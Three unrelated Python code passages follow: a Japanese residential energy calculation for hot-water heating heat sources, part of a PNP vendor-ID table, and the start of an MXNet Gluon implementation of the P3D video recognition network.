Theta_SW_d_t = get_Theta_SW_d_t(Theta_SW_hs_op, p_hs)
# 温水暖房用熱源機の温水熱需要
Q_dmd_H_hs_d_t = calc_Q_dmd_H_hs_d_t(rad_list, H_HS['pipe_insulation'], H_HS['underfloor_pipe_insulation'],
Theta_SW_d_t, A_A, A_MR, A_OR, region,
mode_MR, mode_OR, L_T_H_rad)
# 処理暖房負荷
Q_T_H_rad = np.zeros((5, 24 * 365))
for i in [1, 3, 4, 5]:
if rad_list[i - 1] is None:
continue
# 1時間当たりの暖冷房区画iに設置された放熱器の最大暖房出力
A_HCZ = calc_A_HCZ_i(i, A_A, A_MR, A_OR)
R_type = '主たる居室' if i == 1 else 'その他の居室'
mode = mode_MR if i == 1 else mode_OR
Q_max_H_rad_d_t_i = calc_Q_max_H_rad_d_t_i(rad_list[i - 1], A_HCZ, Theta_SW_d_t, region, mode, R_type)
# 1時間当たりの暖冷房区画iに設置された放熱器の処理暖房負荷
Q_T_H_rad[i - 1, :] = calc_Q_T_H_rad_d_t_i(Q_max_H_rad_d_t_i, L_T_H_rad[i - 1])
# 温水暖房用熱源機の温水供給運転率
r_WS_hs = calc_r_WS_hs_d_t(rad_list, Q_dmd_H_hs_d_t, Q_T_H_rad, Theta_SW_d_t, region, A_A, A_MR, A_OR, mode_MR)
if hs_type in ['石油温水暖房機', '石油給湯温水暖房機', '石油従来型温水暖房機', '石油従来型給湯温水暖房機', '石油潜熱回収型温水暖房機', '石油潜熱回収型給湯温水暖房機']:
# 定格効率
if 'e_rtd_hs' in H_HS:
e_rtd = H_HS['e_rtd_hs']
else:
e_rtd = hs_oil.get_e_rtd_default(hs_type)
# 温水暖房用熱源機の温水熱需要
Q_dmd_H_hs_d_t = calc_Q_dmd_H_hs_d_t(rad_list, H_HS['pipe_insulation'], H_HS['underfloor_pipe_insulation'],
Theta_SW_d_t, A_A, A_MR, A_OR, region,
mode_MR, mode_OR, L_T_H_rad)
# 定格能力の計算のためのパラメータの取得
rad_types = get_rad_type_list()
has_MR_hwh = H_MR['type'] in rad_types
if H_OR is not None:
has_OR_hwh = H_OR['type'] in rad_types
else:
has_OR_hwh = False
# 温水暖房熱源機の定格能力
q_rtd_hs = hs_oil.calc_q_rtd_hs(region, A_A, A_MR, A_OR, mode_MR, mode_OR, has_MR_hwh, has_OR_hwh)
# 最大暖房出力
Q_max_H_hs_d_t = hs_oil.get_Q_max_H_hs(q_rtd_hs)
# 温水暖房用熱源機の暖房出力
Q_out_H_hs = get_Q_out_H_hs_d_t(Q_dmd_H_hs_d_t, Q_max_H_hs_d_t)
return Q_dmd_H_hs_d_t - Q_out_H_hs
elif hs_type in ['ガス温水暖房機', 'ガス給湯温水暖房機', 'ガス従来型温水暖房機', 'ガス従来型給湯温水暖房機', 'ガス潜熱回収型温水暖房機', 'ガス潜熱回収型給湯温水暖房機']:
# 定格効率
if 'e_rtd_hs' in H_HS:
e_rtd = H_HS['e_rtd_hs']
else:
e_rtd = hs_gas.get_e_rtd_default(hs_type)
# 温水暖房用熱源機の温水熱需要
Q_dmd_H_hs_d_t = calc_Q_dmd_H_hs_d_t(rad_list, H_HS['pipe_insulation'], H_HS['underfloor_pipe_insulation'],
Theta_SW_d_t, A_A, A_MR, A_OR, region,
mode_MR, mode_OR, L_T_H_rad)
# 定格能力の計算のためのパラメータの取得
rad_types = get_rad_type_list()
has_MR_hwh = H_MR['type'] in rad_types
if H_OR is not None:
has_OR_hwh = H_OR['type'] in rad_types
else:
has_OR_hwh = False
# 温水暖房熱源機の定格能力
q_rtd_hs = hs_gas.calc_q_rtd_hs(region, A_A, A_MR, A_OR, mode_MR, mode_OR, has_MR_hwh, has_OR_hwh)
# 最大暖房出力
Q_max_H_hs_d_t = hs_gas.get_Q_max_H_hs(q_rtd_hs)
# 温水暖房用熱源機の暖房出力
Q_out_H_hs = get_Q_out_H_hs_d_t(Q_dmd_H_hs_d_t, Q_max_H_hs_d_t)
return Q_dmd_H_hs_d_t - Q_out_H_hs
elif hs_type == '電気ヒーター温水暖房機' or hs_type == '電気ヒーター給湯温水暖房機':
# 最大出力の計算のためのパラメータの取得
rad_types = get_rad_type_list()
has_MR_hwh = H_MR['type'] in rad_types
if H_OR is not None:
has_OR_hwh = H_OR['type'] in rad_types
else:
has_OR_hwh = False
# 最大出力
Q_max_H_hs_d_t = hs_eheater.calc_Q_max_H_hs(
region=region,
A_A=A_A,
A_MR=A_MR,
A_OR=A_OR,
mode_MR=mode_MR,
mode_OR=mode_OR,
has_MR_hwh=has_MR_hwh,
has_OR_hwh=has_OR_hwh
)
# 温水暖房用熱源機の暖房出力
Q_out_H_hs_d_t = get_Q_out_H_hs_d_t(Q_dmd_H_hs_d_t, Q_max_H_hs_d_t)
return Q_dmd_H_hs_d_t - Q_out_H_hs_d_t
elif hs_type == '電気ヒートポンプ温水暖房機':
# 定格の計算のためのパラメータの取得
rad_types = get_rad_type_list()
has_MR_hwh = H_MR['type'] in rad_types
if H_OR is not None:
has_OR_hwh = H_OR['type'] in rad_types
else:
has_OR_hwh = False
# 定格能力
q_rtd_hs = hs_ehpump.calc_q_rtd_hs(
region=region,
A_A=A_A,
A_MR=A_MR,
A_OR=A_OR,
mode_MR=mode_MR,
mode_OR=mode_OR,
has_MR_hwh=has_MR_hwh,
has_OR_hwh=has_OR_hwh
)
# 外気条件の取得
outdoor = load_outdoor()
Theta_ex = get_Theta_ex(region, outdoor)
X_ex = get_X_ex(region, outdoor)
h_ex = calc_h_ex(X_ex, Theta_ex)
# 最大出力
Q_max_H_hs_d_t = hs_ehpump.calc_Q_max_H_hs(
q_rtd_hs=q_rtd_hs,
Theta_SW_hs=Theta_SW_d_t,
Theta_ex=Theta_ex,
h_ex=h_ex
)
# 温水暖房用熱源機の暖房出力
Q_out_H_hs_d_t = get_Q_out_H_hs_d_t(Q_dmd_H_hs_d_t, Q_max_H_hs_d_t)
return Q_dmd_H_hs_d_t - Q_out_H_hs_d_t
elif hs_type == '電気ヒートポンプ・ガス瞬間式併用型給湯温水暖房機(給湯熱源:ガス瞬間式、暖房熱源:電気ヒートポンプ・ガス瞬間式併用)':
return np.zeros(24 * 365)
elif hs_type == '電気ヒートポンプ・ガス瞬間式併用型給湯温水暖房機(給湯熱源:電気ヒートポンプ・ガス瞬間式併用、暖房熱源:ガス瞬間式)(試験された値を用いる)' or \
hs_type == '電気ヒートポンプ・ガス瞬間式併用型給湯温水暖房機(給湯熱源:電気ヒートポンプ・ガス瞬間式併用、暖房熱源:ガス瞬間式)(仕様による)':
# 温水暖房用熱源機の温水熱需要
Q_dmd_H_hs_d_t = calc_Q_dmd_H_hs_d_t(rad_list, H_HS['pipe_insulation'], H_HS['underfloor_pipe_insulation'],
Theta_SW_d_t, A_A, A_MR, A_OR, region,
mode_MR, mode_OR, L_T_H_rad)
# 定格能力の計算のためのパラメータの取得
rad_types = get_rad_type_list()
has_MR_hwh = H_MR['type'] in rad_types
if H_OR is not None:
has_OR_hwh = H_OR['type'] in rad_types
else:
has_OR_hwh = False
# 温水暖房熱源機の定格能力
q_rtd_hs = hs_gas.calc_q_rtd_hs(region, A_A, A_MR, A_OR, mode_MR, mode_OR, has_MR_hwh, has_OR_hwh)
# 最大暖房出力
Q_max_H_hs_d_t = hs_gas.get_Q_max_H_hs(q_rtd_hs)
# 温水暖房用熱源機の暖房出力
Q_out_H_hs = get_Q_out_H_hs_d_t(Q_dmd_H_hs_d_t, Q_max_H_hs_d_t)
return Q_dmd_H_hs_d_t - Q_out_H_hs
elif hs_type == '電気ヒートポンプ・ガス瞬間式併用型給湯温水暖房機(給湯熱源:電気ヒートポンプ・ガス瞬間式併用、暖房熱源:電気ヒートポンプ・ガス瞬間式併用)':
return np.zeros(24 * 365)
elif hs_type == 'コージェネレーションを使用する':
return np.zeros(24 * 365)
elif hs_type == '地中熱ヒートポンプ温水暖房機':
# 外気条件の取得
# 外気温
outdoor = load_outdoor()
Theta_ex = get_Theta_ex(region, outdoor)
Theta_ex_a_Ave = get_Theta_ex_a_Ave(Theta_ex)
Theta_ex_d_Ave_d = get_Theta_ex_d_Ave_d(Theta_ex)
Theta_ex_H_Ave = get_Theta_ex_H_Ave(Theta_ex, L_T_H_rad)
# 定格の計算のためのパラメータの取得
rad_types = get_rad_type_list()
has_MR_hwh = H_MR['type'] in rad_types
if H_OR is not None:
has_OR_hwh = H_OR['type'] in rad_types
else:
has_OR_hwh = False
# 定格能力 付録Hに定める温水暖房用熱源機の最大能力 q_max_hs に等しい
q_rtd_hs = hs_ghpump.calc_q_rtd_hs(
region=region,
A_A=A_A,
A_MR=A_MR,
A_OR=A_OR,
mode_MR=mode_MR,
mode_OR=mode_OR,
has_MR_hwh=has_MR_hwh,
has_OR_hwh=has_OR_hwh
)
# 最大出力
Q_max_H_hs_d_t = hs_ghpump.calc_Q_max_H_hs_d_t(
Theta_SW_d_t=Theta_SW_d_t,
Theta_ex_d_Ave_d=Theta_ex_d_Ave_d,
Theta_ex_H_Ave=Theta_ex_H_Ave,
Theta_ex_a_Ave=Theta_ex_a_Ave,
q_max_hs=q_rtd_hs,
L_H_x_t_i=L_T_H_rad,
L_CS_x_t_i=L_CS_x_t_i,
L_CL_x_t_i=L_CL_x_t_i,
HeatExchangerType=H_HS['HeatExchanger']
)
# 温水暖房用熱源機の暖房出力
Q_out_H_hs_d_t = get_Q_out_H_hs_d_t(Q_dmd_H_hs_d_t, Q_max_H_hs_d_t)
return Q_dmd_H_hs_d_t - Q_out_H_hs_d_t
else:
raise ValueError(hs_type)
# ============================================================================
# 7.1 エネルギー消費量
# ============================================================================
def calc_E_E_hs_d_t(H_HS, H_MR, H_OR, region, A_A, A_MR, A_OR, mode_MR, mode_OR, L_T_H_rad, CG, L_CS_x_t_i, L_CL_x_t_i):
"""温水暖房用熱源機の消費電力量
Args:
H_HS(dict): 温水暖房機の仕様
H_MR(dict): 暖房機器の仕様
H_OR(dict): 暖房機器の仕様
region(int): 省エネルギー地域区分
A_A(float): 床面積の合計 (m2)
A_MR(float): 主たる居室の床面積 (m2)
A_OR(float): その他の居室の床面積 (m2)
mode_MR(str): 主たる居室の運転モード 'い', 'ろ', 'は'
mode_OR(str): その他の居室の運転モード 'い', 'ろ', 'は'
L_T_H_rad(ndarray): 放熱器の暖房負荷
CG(dict): コージェネレーションの機器
L_CS_x_t_i(ndarray): 日付dの時刻tにおける暖冷房区画iの冷房顕熱負荷 (MJ/h)
L_CL_x_t_i(ndarray): 日付dの時刻tにおける暖冷房区画iの冷房潜熱負荷 (MJ/h)
Returns:
ndarray: 水暖房用熱源機の消費電力量
"""
hs_type = H_HS['type']
# 主たる居室、その他の居室という単位で設定された放熱機器を暖房区画ごとの配列に変換
rad_list = get_rad_list(H_MR, H_OR)
# 温水暖房用熱源機の往き温水温度
Theta_SW_hs_op = get_Theta_SW_hs_op(hs_type, CG)
p_hs = calc_p_hs_d_t(Theta_SW_hs_op, rad_list, L_T_H_rad, A_A, A_MR, A_OR, region, mode_MR, mode_OR)
Theta_SW_d_t = get_Theta_SW_d_t(Theta_SW_hs_op, p_hs)
# 温水暖房用熱源機の温水熱需要
Q_dmd_H_hs_d_t = calc_Q_dmd_H_hs_d_t(rad_list, H_HS['pipe_insulation'], H_HS['underfloor_pipe_insulation'],
Theta_SW_d_t, A_A, A_MR, A_OR, region,
mode_MR, mode_OR, L_T_H_rad)
# 処理暖房負荷
Q_T_H_rad = np.zeros((5, 24 * | |
"STH", datetime.date(2001, 11, 30)),
"SET": pnp.Vendor("SendTek Corporation", "SET", datetime.date(1999, 11, 8)),
"SBT": pnp.Vendor("Senseboard Technologies AB", "SBT", datetime.date(2002, 9, 3)),
"SEN": pnp.Vendor("Sencore", "SEN", datetime.date(1997, 5, 23)),
"STU": pnp.Vendor("Sentelic Corporation", "STU", datetime.date(2012, 7, 27)),
"SEO": pnp.Vendor("SEOS Ltd", "SEO", datetime.date(2003, 2, 20)),
"SNC": pnp.Vendor("Sentronic International Corp.", "SNC", datetime.date(2000, 10, 23)),
"SEP": pnp.Vendor("SEP Eletronica Ltda.", "SEP", datetime.date(2001, 5, 7)),
"SQT": pnp.Vendor("Sequent Computer Systems Inc", "SQT", datetime.date(1996, 11, 29)),
"SES": pnp.Vendor("Session Control LLC", "SES", datetime.date(2010, 9, 3)),
"SRD": pnp.Vendor("Setred", "SRD", datetime.date(2006, 9, 5)),
"SVT": pnp.Vendor("SEVIT Co., Ltd.", "SVT", datetime.date(2002, 6, 25)),
"SVA": pnp.Vendor("SGEG", "SVA", datetime.date(2000, 2, 21)),
"SYT": pnp.Vendor("Seyeon Tech Company Ltd", "SYT", datetime.date(1997, 12, 2)),
"STM": pnp.Vendor("SGS Thomson Microelectronics", "STM", datetime.date(1997, 11, 11)),
"OYO": pnp.Vendor("Shadow Systems", "OYO", datetime.date(1996, 11, 29)),
"SBC": pnp.Vendor("Shanghai Bell Telephone Equip Mfg Co", "SBC", datetime.date(1998, 4, 30)),
"SGW": pnp.Vendor("Shanghai Guowei Science and Technology Co., Ltd.", "SGW", datetime.date(2011, 1, 28)),
"XQU": pnp.Vendor("SHANGHAI SVA-DAV ELECTRONICS CO., LTD", "XQU", datetime.date(2003, 7, 24)),
"SWL": pnp.Vendor("Sharedware Ltd", "SWL", datetime.date(1998, 8, 11)),
"SMM": pnp.Vendor("Shark Multimedia Inc", "SMM", datetime.date(1996, 11, 29)),
"DFK": pnp.Vendor("SharkTec A/S", "DFK", datetime.date(2006, 2, 14)),
"SHP": pnp.Vendor("Sharp Corporation", "SHP", datetime.date(1996, 11, 29)),
"SXT": pnp.Vendor("SHARP TAKAYA ELECTRONIC INDUSTRY CO.,LTD.", "SXT", datetime.date(2010, 6, 24)),
"CZC": pnp.Vendor("Shenzhen ChuangZhiCheng Technology Co., Ltd.", "CZC", datetime.date(2013, 10, 23)),
"IXN": pnp.Vendor("Shenzhen Inet Mobile Internet Technology Co., LTD", "IXN", datetime.date(2014, 11, 4)),
"SZM": pnp.Vendor("Shenzhen MTC Co., Ltd", "SZM", datetime.date(2013, 8, 9)),
"RMS": pnp.Vendor("Shenzhen Ramos Digital Technology Co., Ltd", "RMS", datetime.date(2014, 10, 29)),
"SSL": pnp.Vendor("Shenzhen South-Top Computer Co., Ltd.", "SSL", datetime.date(2013, 12, 6)),
"AZH": pnp.Vendor("Shenzhen three Connaught Information Technology Co., Ltd. (3nod Group)", "AZH", datetime.date(2013, 9, 17)),
"XYE": pnp.Vendor("Shenzhen Zhuona Technology Co., Ltd.", "XYE", datetime.date(2013, 10, 1)),
"HTR": pnp.Vendor("Shenzhen ZhuoYi HengTong Computer Technology Limited", "HTR", datetime.date(2013, 12, 13)),
"ZWE": pnp.Vendor("Shenzhen Zowee Technology Co., LTD", "ZWE", datetime.date(2015, 5, 26)),
"SDE": pnp.Vendor("Sherwood Digital Electronics Corporation", "SDE", datetime.date(1996, 11, 29)),
"SHC": pnp.Vendor("ShibaSoku Co., Ltd.", "SHC", datetime.date(2005, 5, 26)),
"SHT": pnp.Vendor("Shin Ho Tech", "SHT", datetime.date(1996, 11, 29)),
"SLB": pnp.Vendor("Shlumberger Ltd", "SLB", datetime.date(1996, 11, 29)),
"SAT": pnp.Vendor("Shuttle Tech", "SAT", datetime.date(1996, 11, 29)),
"CHG": pnp.Vendor("Sichuan Changhong Electric CO, LTD.", "CHG", datetime.date(2003, 2, 26)),
"CHO": pnp.Vendor("Sichuang Changhong Corporation", "CHO", datetime.date(2001, 11, 30)),
"SIE": pnp.Vendor("Siemens", "SIE", datetime.date(1996, 11, 29)),
"SDT": pnp.Vendor("Siemens AG", "SDT", datetime.date(2006, 2, 14)),
"SIA": pnp.Vendor("SIEMENS AG", "SIA", datetime.date(2001, 3, 15)),
"SNI": pnp.Vendor("Siemens Microdesign GmbH", "SNI", datetime.date(1996, 11, 29)),
"SNP": pnp.Vendor("Siemens Nixdorf Info Systems", "SNP", datetime.date(1996, 11, 29)),
"SSC": pnp.Vendor("Sierra Semiconductor Inc", "SSC", datetime.date(1996, 11, 29)),
"SWI": pnp.Vendor("Sierra Wireless Inc.", "SWI", datetime.date(2003, 7, 10)),
"SIG": pnp.Vendor("Sigma Designs Inc", "SIG", datetime.date(1996, 11, 29)),
"SGD": pnp.Vendor("Sigma Designs, Inc.", "SGD", datetime.date(2006, 2, 14)),
"SCL": pnp.Vendor("Sigmacom Co., Ltd.", "SCL", datetime.date(2002, 4, 25)),
"STL": pnp.Vendor("SigmaTel Inc", "STL", datetime.date(1997, 3, 3)),
"DXS": pnp.Vendor("Signet", "DXS", datetime.date(2000, 10, 23)),
"STE": pnp.Vendor("SII Ido-Tsushin Inc", "STE", datetime.date(1997, 4, 3)),
"SMT": pnp.Vendor("Silcom Manufacturing Tech Inc", "SMT", datetime.date(1996, 11, 29)),
"SXD": pnp.Vendor("Silex technology, Inc.", "SXD", datetime.date(2009, 3, 12)),
"SMS": pnp.Vendor("Silicom Multimedia Systems Inc", "SMS", datetime.date(1996, 12, 4)),
"SGX": pnp.Vendor("Silicon Graphics Inc", "SGX", datetime.date(1996, 11, 29)),
"SII": pnp.Vendor("Silicon Image, Inc.", "SII", datetime.date(2000, 1, 13)),
"SIS": pnp.Vendor("Silicon Integrated Systems Corporation", "SIS", datetime.date(1996, 11, 29)),
"SIL": pnp.Vendor("Silicon Laboratories, Inc", "SIL", datetime.date(1998, 7, 16)),
"SLH": pnp.Vendor("Silicon Library Inc.", "SLH", datetime.date(2008, 11, 1)),
"SOI": pnp.Vendor("Silicon Optix Corporation", "SOI", datetime.date(2005, 7, 28)),
"SLK": pnp.Vendor("Silitek Corporation", "SLK", datetime.date(1997, 7, 16)),
"SPU": pnp.Vendor("SIM2 Multimedia S.P.A.", "SPU", datetime.date(2002, 9, 5)),
"SMP": pnp.Vendor("Simple Computing", "SMP", datetime.date(1996, 11, 29)),
"SPX": pnp.Vendor("Simplex Time Recorder Co.", "SPX", datetime.date(2001, 3, 15)),
"SIN": pnp.Vendor("Singular Technology Co., Ltd.", "SIN", datetime.date(1999, 11, 8)),
"SNO": pnp.Vendor("SINOSUN TECHNOLOGY CO., LTD", "SNO", datetime.date(2005, 6, 27)),
"SIR": pnp.Vendor("Sirius Technologies Pty Ltd", "SIR", datetime.date(1998, 3, 13)),
"FUN": pnp.Vendor("sisel muhendislik", "FUN", datetime.date(2002, 4, 25)),
"STS": pnp.Vendor("SITECSYSTEM CO., LTD.", "STS", datetime.date(2005, 3, 16)),
"SIT": pnp.Vendor("Sitintel", "SIT", datetime.date(1996, 11, 29)),
"SKY": pnp.Vendor("SKYDATA S.P.A.", "SKY", datetime.date(1997, 9, 19)),
"SCT": pnp.Vendor("Smart Card Technology", "SCT", datetime.date(2000, 8, 10)),
"SMA": pnp.Vendor("SMART Modular Technologies", "SMA", datetime.date(1997, 4, 4)),
"SPL": pnp.Vendor("Smart Silicon Systems Pty Ltd", "SPL", datetime.date(2000, 8, 10)),
"STI": pnp.Vendor("Smart Tech Inc", "STI", datetime.date(1996, 11, 29)),
"SBI": pnp.Vendor("SMART Technologies Inc.", "SBI", datetime.date(2007, 6, 14)),
"SMK": pnp.Vendor("SMK CORPORATION", "SMK", datetime.date(2000, 2, 21)),
"SNW": pnp.Vendor("Sn<NAME>", "SNW", datetime.date(2002, 4, 25)),
"MVM": pnp.Vendor("SOBO VISION", "MVM", datetime.date(2007, 6, 14)),
"SCX": pnp.Vendor("Socionext Inc.", "SCX", datetime.date(2015, 5, 14)),
"LAN": pnp.Vendor("Sodeman Lancom Inc", "LAN", datetime.date(1996, 11, 29)),
"SDF": pnp.Vendor("SODIFF E&T CO., Ltd.", "SDF", datetime.date(2007, 6, 1)),
"SHG": pnp.Vendor("Soft & Hardware development Goldammer GmbH", "SHG", datetime.date(1996, 11, 29)),
"SBD": pnp.Vendor("Softbed - Consulting & Development Ltd", "SBD", datetime.date(1997, 12, 23)),
"SWC": pnp.Vendor("Software Café", "SWC", datetime.date(1996, 11, 29)),
"SWT": pnp.Vendor("Software Technologies Group,Inc.", "SWT", datetime.date(2008, 11, 29)),
"SOL": pnp.Vendor("Solitron Technologies Inc", "SOL", datetime.date(1996, 11, 29)),
"SLM": pnp.Vendor("Solomon Technology Corporation", "SLM", datetime.date(1998, 1, 16)),
"SXL": pnp.Vendor("SolutionInside", "SXL", datetime.date(2001, 5, 8)),
"ONX": pnp.Vendor("SOMELEC Z.I. <NAME>", "ONX", datetime.date(1996, 11, 29)),
"HON": pnp.Vendor("Sonitronix", "HON", datetime.date(2011, 2, 3)),
"SNX": pnp.Vendor("Sonix Comm. Ltd", "SNX", datetime.date(1996, 11, 29)),
"SNY": pnp.Vendor("Sony", "SNY", datetime.date(1996, 11, 29)),
"SON": pnp.Vendor("Sony", "SON", datetime.date(1996, 11, 29)),
"SER": pnp.Vendor("Sony Ericsson Mobile Communications Inc.", "SER", datetime.date(2004, 4, 16)),
"SCO": pnp.Vendor("SORCUS Computer GmbH", "SCO", datetime.date(2000, 1, 13)),
"SOR": pnp.Vendor("Sorcus Computer GmbH", "SOR", datetime.date(1996, 11, 29)),
"SCC": pnp.Vendor("SORD Computer Corporation", "SCC", datetime.date(1996, 11, 29)),
"SOT": pnp.Vendor("Sotec Company Ltd", "SOT", datetime.date(1997, 5, 21)),
"FRS": pnp.Vendor("South Mountain Technologies, LTD", "FRS", datetime.date(2006, 2, 14)),
"SOY": pnp.Vendor("SOYO Group, Inc", "SOY", datetime.date(2006, 12, 18)),
"SPI": pnp.Vendor("SPACE-I Co., Ltd.", "SPI", datetime.date(2005, 5, 11)),
"SMI": pnp.Vendor("SpaceLabs Medical Inc", "SMI", datetime.date(1996, 11, 29)),
"SPE": pnp.Vendor("SPEA Software AG", "SPE", datetime.date(1996, 11, 29)),
"SPK": pnp.Vendor("SpeakerCraft", "SPK", datetime.date(2010, 4, 20)),
"SLX": pnp.Vendor("Specialix", "SLX", datetime.date(1996, 11, 29)),
"SGC": pnp.Vendor("Spectragraphics Corporation", "SGC", datetime.date(1996, 11, 29)),
"SSP": pnp.Vendor("Spectrum Signal Proecessing Inc", "SSP", datetime.date(1996, 11, 29)),
"SRS": pnp.Vendor("SR-Systems e.K.", "SRS", datetime.date(2012, 11, 19)),
"SSI": pnp.Vendor("S-S Technology Inc", "SSI", datetime.date(1996, 11, 29)),
"STA": pnp.Vendor("ST Electronics Systems Assembly Pte Ltd", "STA", datetime.date(1998, 12, 28)),
"STC": pnp.Vendor("STAC Electronics", "STC", datetime.date(1996, 11, 29)),
"SMC": pnp.Vendor("Standard Microsystems Corporation", "SMC", datetime.date(1996, 11, 29)),
"STT": pnp.Vendor("Star Paging Telecom Tech (Shenzhen) Co. Ltd.", "STT", datetime.date(1998, 9, 23)),
"STF": pnp.Vendor("Starflight Electronics", "STF", datetime.date(1997, 5, 23)),
"SGT": pnp.Vendor("Stargate Technology", "SGT", datetime.date(1996, 11, 29)),
"SLF": pnp.Vendor("StarLeaf", "SLF", datetime.date(2010, 11, 1)),
"STR": pnp.Vendor("Starlight Networks Inc", "STR", datetime.date(1996, 11, 29)),
"STW": pnp.Vendor("Starwin Inc.", "STW", datetime.date(2001, 4, 24)),
"SWS": pnp.Vendor("Static", "SWS", datetime.date(1999, 5, 16)),
"STB": pnp.Vendor("STB Systems Inc", "STB", datetime.date(1996, 11, 29)),
"STD": pnp.Vendor("STD Computer Inc", "STD", datetime.date(1996, 11, 29)),
"STG": pnp.Vendor("StereoGraphics Corp.", "STG", datetime.date(2001, 10, 2)),
"STX": pnp.Vendor("ST-Ericsson", "STX", datetime.date(2011, 12, 9)),
"SMO": pnp.Vendor("STMicroelectronics", "SMO", datetime.date(2007, 6, 14)),
"STO": pnp.Vendor("Stollmann E+V GmbH", "STO", datetime.date(1997, 3, 27)),
"SAS": pnp.Vendor("Stores Automated Systems Inc", "SAS", datetime.date(1997, 3, 19)),
"EZP": pnp.Vendor("Storm Technology", "EZP", datetime.date(1996, 10, 17)),
"STP": pnp.Vendor("StreamPlay Ltd", "STP", datetime.date(2009, 2, 4)),
"SYK": pnp.Vendor("Stryker Communications", "SYK", datetime.date(2005, 10, 10)),
"SUB": pnp.Vendor("Subspace Comm. Inc", "SUB", datetime.date(1996, 11, 29)),
"SML": pnp.Vendor("Sumitomo Metal Industries, Ltd.", "SML", datetime.date(1999, 9, 13)),
"SUM": pnp.Vendor("Summagraphics Corporation", "SUM", datetime.date(1996, 11, 29)),
"SCE": pnp.Vendor("Sun Corporation", "SCE", datetime.date(1996, 11, 29)),
"SUN": pnp.Vendor("Sun Electronics Corporation", "SUN", datetime.date(1996, 11, 29)),
"SVI": pnp.Vendor("Sun Microsystems", "SVI", datetime.date(2003, 1, 13)),
"SNN": pnp.Vendor("SUNNY ELEKTRONIK", "SNN", datetime.date(2014, 11, 14)),
"SDS": pnp.Vendor("SunRiver Data System", "SDS", datetime.date(1996, 11, 29)),
"SGL": pnp.Vendor("Super Gate Technology Company Ltd", "SGL", datetime.date(1997, 12, 30)),
"SNT": pnp.Vendor("SuperNet Inc", "SNT", datetime.date(1998, 4, 23)),
"SUP": pnp.Vendor("Supra Corporation", "SUP", datetime.date(1996, 11, 29)),
"SUR": pnp.Vendor("Surenam Computer Corporation", "SUR", datetime.date(1996, 11, 29)),
"SRF": pnp.Vendor("Surf Communication Solutions Ltd", "SRF", datetime.date(1998, 3, 23)),
"SVD": pnp.Vendor("SVD Computer", "SVD", datetime.date(1998, 4, 14)),
"SVS": pnp.Vendor("SVSI", "SVS", datetime.date(2008, 8, 9)),
"SYE": pnp.Vendor("SY Electronics Ltd", "SYE", datetime.date(2010, 9, 20)),
"SYL": pnp.Vendor("Sylvania Computer Products", "SYL", datetime.date(1998, 6, 12)),
"SLI": pnp.Vendor("Symbios Logic Inc", "SLI", datetime.date(1996, 11, 29)),
"ISA": pnp.Vendor("Symbol Technologies", "ISA", datetime.date(1997, 6, 2)),
"SYM": pnp.Vendor("Symicron Computer Communications Ltd.", "SYM", datetime.date(1996, 11, 29)),
"SYN": pnp.Vendor("Synaptics Inc", "SYN", datetime.date(1996, 11, 29)),
"SPS": pnp.Vendor("Synopsys Inc", "SPS", datetime.date(1996, 11, 29)),
"SXB": pnp.Vendor("Syntax-Brillian", "SXB", datetime.date(2006, 5, 8)),
"SYP": pnp.Vendor("SYPRO Co Ltd", "SYP", datetime.date(1998, 11, 27)),
"SYS": pnp.Vendor("Sysgration Ltd", "SYS", datetime.date(1997, 4, 28)),
"SLC": pnp.Vendor("Syslogic Datentechnik AG", "SLC", datetime.date(1999, 1, 20)),
"SME": pnp.Vendor("Sysmate Company", "SME", datetime.date(1997, 9, 2)),
"SIC": pnp.Vendor("Sysmate Corporation", "SIC", datetime.date(1997, 5, 5)),
"SYC": pnp.Vendor("Sysmic", "SYC", datetime.date(1996, 11, 29)),
"SGZ": pnp.Vendor("Systec Computer GmbH", | |
"""P3D, implemented in Gluon. https://arxiv.org/abs/1711.10305.
Code partially borrowed from https://github.com/qijiezhao/pseudo-3d-pytorch."""
# pylint: disable=arguments-differ,unused-argument,line-too-long
__all__ = ['P3D', 'p3d_resnet50_kinetics400']
from mxnet import init
from mxnet.context import cpu
from mxnet.gluon.block import HybridBlock
from mxnet.gluon import nn
from mxnet.gluon.nn import BatchNorm
def conv1x3x3(in_planes, out_planes, spatial_stride=1, temporal_stride=1, dilation=1):
"""1x3x3 convolution with padding"""
return nn.Conv3D(in_channels=in_planes,
channels=out_planes,
kernel_size=(1, 3, 3),
strides=(temporal_stride, spatial_stride, spatial_stride),
padding=(0, dilation, dilation),
dilation=dilation,
use_bias=False)
def conv3x1x1(in_planes, out_planes, spatial_stride=1, temporal_stride=1, dilation=1):
"""3x1x1 convolution with padding"""
return nn.Conv3D(in_channels=in_planes,
channels=out_planes,
kernel_size=(3, 1, 1),
strides=(temporal_stride, spatial_stride, spatial_stride),
padding=(dilation, 0, 0),
dilation=dilation,
use_bias=False)
class Bottleneck(HybridBlock):
r"""ResBlock for P3D
Parameters
----------
inplanes : int.
Input channels of each block.
planes : int.
Output channels of each block.
spatial_stride : int, default is 1.
Stride in spatial dimension of convolutional layers in a block.
temporal_stride : int, default is 1.
Stride in temporal dimension of convolutional layers in a block.
dilation : int, default is 1.
Dilation of convolutional layers in a block.
downsample : bool.
Whether to contain a downsampling layer in the block.
num_layers : int.
The current depth of this layer.
depth_3d : int.
Number of 3D layers in the network. For example,
a P3D with ResNet50 backbone has a depth_3d of 13, which is the sum of 3, 4 and 6.
block_design : tuple of str.
Different designs for each block, from 'A', 'B' or 'C'.
norm_layer : object
Normalization layer used (default: :class:`mxnet.gluon.nn.BatchNorm`)
Can be :class:`mxnet.gluon.nn.BatchNorm` or :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
norm_kwargs : dict
Additional `norm_layer` arguments, for example `num_devices=4`
for :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
layer_name : str, default is ''.
Give a name to current block.
"""
expansion = 4
def __init__(self,
inplanes,
planes,
spatial_stride=1,
temporal_stride=1,
dilation=1,
downsample=None,
num_layers=0,
depth_3d=13,
block_design=('A', 'B', 'C'),
norm_layer=BatchNorm,
norm_kwargs=None,
layer_name='',
**kwargs):
super(Bottleneck, self).__init__()
self.inplanes = inplanes
self.planes = planes
self.spatial_tride = spatial_stride
self.temporal_tride = temporal_stride
self.dilation = dilation
self.downsample = downsample
self.num_layers = num_layers
self.depth_3d = depth_3d
self.block_design = block_design
self.cycle = len(self.block_design)
if self.downsample is not None:
strides = (1, 2, 2)
else:
strides = spatial_stride
with self.name_scope():
# first block
if self.num_layers < self.depth_3d:
if self.num_layers == 0:
strides = 1
self.conv1 = nn.Conv3D(in_channels=inplanes,
channels=planes,
kernel_size=1,
strides=strides,
use_bias=False)
